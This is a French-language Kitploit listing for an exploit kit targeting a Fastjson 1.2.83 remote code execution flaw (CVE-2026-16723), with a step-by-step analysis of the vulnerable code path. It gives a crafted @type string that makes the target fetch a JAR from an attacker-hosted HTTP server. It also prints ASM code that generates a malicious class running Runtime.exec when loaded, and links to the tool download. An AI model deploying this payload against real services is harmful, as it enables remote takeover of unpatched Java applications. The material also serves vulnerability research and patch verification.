Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
fastjson-cve-2026-16723 — Analyse détaillée de CVE-2026-16723 et kit d'exploitation pour Fastjson 1.2.83 RCE, couvrant les chemins de code vulnérables, la génération de JAR/bytecode malveillant et un environnement Docker Compose pour reproduire l'attaque. | Kitploit
Outils/GitHubGitHub/learner330/fastjson-cve-2026-16723
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHub
learner330/fastjson-cve-2026-16723

fastjson-cve-2026-16723

Analyse détaillée de CVE-2026-16723 et kit d'exploitation pour Fastjson 1.2.83 RCE, couvrant les chemins de code vulnérables, la génération de JAR/bytecode malveillant et un environnement Docker Compose pour reproduire l'attaque.

Voir le dépôt
522il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Avis de non-responsabilité : ce projet est destiné uniquement à la recherche en sécurité et à l'apprentissage dans des environnements autorisés. Il est interdit de tester des systèmes non autorisés ; les conséquences de l'utilisation sont à la charge de l'utilisateur.


Analyse de la vulnérabilité d'exécution de code à distance dans Fastjson 1.2.83 (CVE-2026-16723)

CVSS 9.0, affecte Fastjson 1.2.68 ~ 1.2.83. Aucun besoin d'activer AutoType, aucun besoin de gadget tiers, la configuration par défaut suffit pour l'exploitation.


I. Aperçu du mécanisme de la vulnérabilité

Le point d'entrée de la vulnérabilité se trouve dans com.alibaba.fastjson.parser.ParserConfig.checkAutoType. Que l'on appelle JSON.parse(body) ou JSON.parseObject(body, Foo.class), on finit toujours par entrer dans cette méthode.

Chemin de code clé (fastjson 1.2.83) :

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {

    // ① 黑白名单检查——autoTypeSupport=false 时整段跳过
    if (autoTypeSupport || expectClassFlag) { ... }

    // ② @JSONType 注解探测
    boolean jsonType = false;
    InputStream is = null;
    try {
        String resource = typeName.replace('.', '/') + ".class";
        if (defaultClassLoader != null) {
            is = defaultClassLoader.getResourceAsStream(resource);
        } else {
            is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
        }
        if (is != null) {
            ClassReader classReader = new ClassReader(is, true);
            TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
            classReader.accept(visitor);
            jsonType = visitor.hasJsonType();
        }
    } catch (Exception e) { }
      finally { IOUtils.close(is); }

    // ③ 类型加载
    if (autoTypeSupport || jsonType || expectClassFlag) {
        boolean cacheClass = autoTypeSupport || jsonType;
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
    }

    // ④ jsonType=true 时跳过所有后续检查
    if (clazz != null) {
        if (jsonType) {
            return clazz;
        }
        // denyList 检查、硬编码拦截、isAssignableFrom ...
    }
}

Le commutateur AutoType (autoTypeSupport) contrôle uniquement ① l'accès, mais ② la détection d'annotations s'exécute inconditionnellement. Dès que jsonType dans ② devient true, ③ le chargement du type et ④ le contournement des vérifications de sécurité se déclenchent successivement.


II. Analyse segment par segment de la chaîne d'attaque

2.1 typeName → resource

String resource = typeName.replace('.', '/') + ".class";

typeName est la valeur de @type dans le JSON, entièrement contrôlable par l'attaquant. L'intention initiale est de convertir com.example.Foo en com/example/Foo.class, mais lorsque l'entrée est une URL, cela devient un constructeur d'URL.

Comme les . dans le hostname sont également remplacés, l'attaquant utilise une IP entière pour contourner cela. L'entier non signé 32 bits de 127.0.0.1 est 2130706433 :

输入:  jar:http:..2130706433:8000.probe!.EvilPayload
 ↓ replace('.', '/')
输出:  jar:http://2130706433:8000/probe!/EvilPayload.class

.. → //, .probe! → /probe!/, ce qui donne un localisateur de ressource jar:http:// valide.

2.2 getResourceAsStream

is = defaultClassLoader.getResourceAsStream(resource);

La capacité de getResourceAsStream à résoudre jar:http:// en tant que ressource distante dépend entièrement du type de ClassLoader :

ClassLoaderComportement
JDK AppClassLoaderNe recherche que dans le classpath local → null
Tomcat WebappClassLoader (WAR autonome)Ne recherche que dans WEB-INF/lib → null
Spring Boot LaunchedURLClassLoader (fat-JAR)Prend en charge jar:http:// → sort en HTTP pour récupérer le bytecode

Il y a ici un point facile à confondre : lorsque Tomcat est intégré à Spring Boot, le ClassLoader des classes applicatives est LaunchedURLClassLoader et non WebappClassLoader. Par conséquent, Tomcat/Jetty/Undertow intégrés entrent tous dans le périmètre affecté.

Lorsque is != null, le bytecode de classe distant hébergé par l'attaquant est déjà entré dans la mémoire de la JVM.

2.3 Sonde ASM

ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();

Fastjson utilise ASM pour analyser le bytecode et vérifier s'il contient l'annotation @com.alibaba.fastjson.annotation.JSONType. L'intention de conception était une optimisation de performance — identifier rapidement les types gérés par Fastjson via l'annotation. Mais ici, seule la présence de l'annotation est vérifiée, sans valider la provenance du bytecode, sans vérifier le nom de la classe, sans restreindre la source. Il suffit que la classe distante de l'attaquant porte @JSONType pour obtenir le verdict jsonType=true.

Notez que catch (Exception e) {} est vide — l'attaquant ne recevra aucune erreur.

alt text

2.4 loadClass

if (autoTypeSupport || jsonType || expectClassFlag) {
    boolean cacheClass = autoTypeSupport || jsonType;
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

jsonType=true suffit à remplir la condition. loadClass suit le processus standard de chargement de classe, et enregistre le bytecode comme objet Class de la JVM via defineClass.

Il faut distinguer deux concepts : defineClass réalise la définition de la classe (l'enregistrement dans la JVM), tandis que <clinit> s'exécute lors de la phase d'initialisation de la classe. Les deux phases peuvent s'accomplir au sein d'une même requête, mais selon la spécification de la JVM, elles sont indépendantes.

2.5 return clazz

if (jsonType) {
    return clazz;
}

Cette ligne contourne toutes les défenses suivantes :

  • Interception codée en dur de ClassLoader/DataSource/RowSet
  • Liste noire denyList
  • Vérification de type expectClass.isAssignableFrom(clazz)

Cela explique aussi pourquoi parseObject(body, Dto.class) ne peut pas s'en protéger : la vérification de liaison de type intervient après le chargement de la classe, tandis que le code d'attaque s'exécute déjà au stade du chargement.


III. Construction du Payload

L'attaquant doit générer un fichier de bytecode remplissant trois conditions : porter l'annotation @JSONType, intégrer le code d'attaque dans <clinit>, et être hébergé via HTTP.

ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_6, Opcodes.ACC_PUBLIC,
        "EvilPayload", null, "java/lang/Object", null);

// 过 ASM 探针
cw.visitAnnotation(
    "Lcom/alibaba/fastjson/annotation/JSONType;", true
).visitEnd();

// <clinit> 里跑命令
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC,
        "<clinit>", "()V", null, null);
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
        "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitLdcInsn(cmd);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
        "java/lang/Runtime", "exec",
        "(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.RETURN);

// 打包
JarOutputStream jos = new JarOutputStream(new FileOutputStream(outPath));
jos.putNextEntry(new JarEntry("EvilPayload.class"));
jos.write(cw.toByteArray());

La logique malveillante est déclenchée via <clinit>, elle s'exécute dès que la classe est chargée.


IV. Conclusion

Télécharger l’outil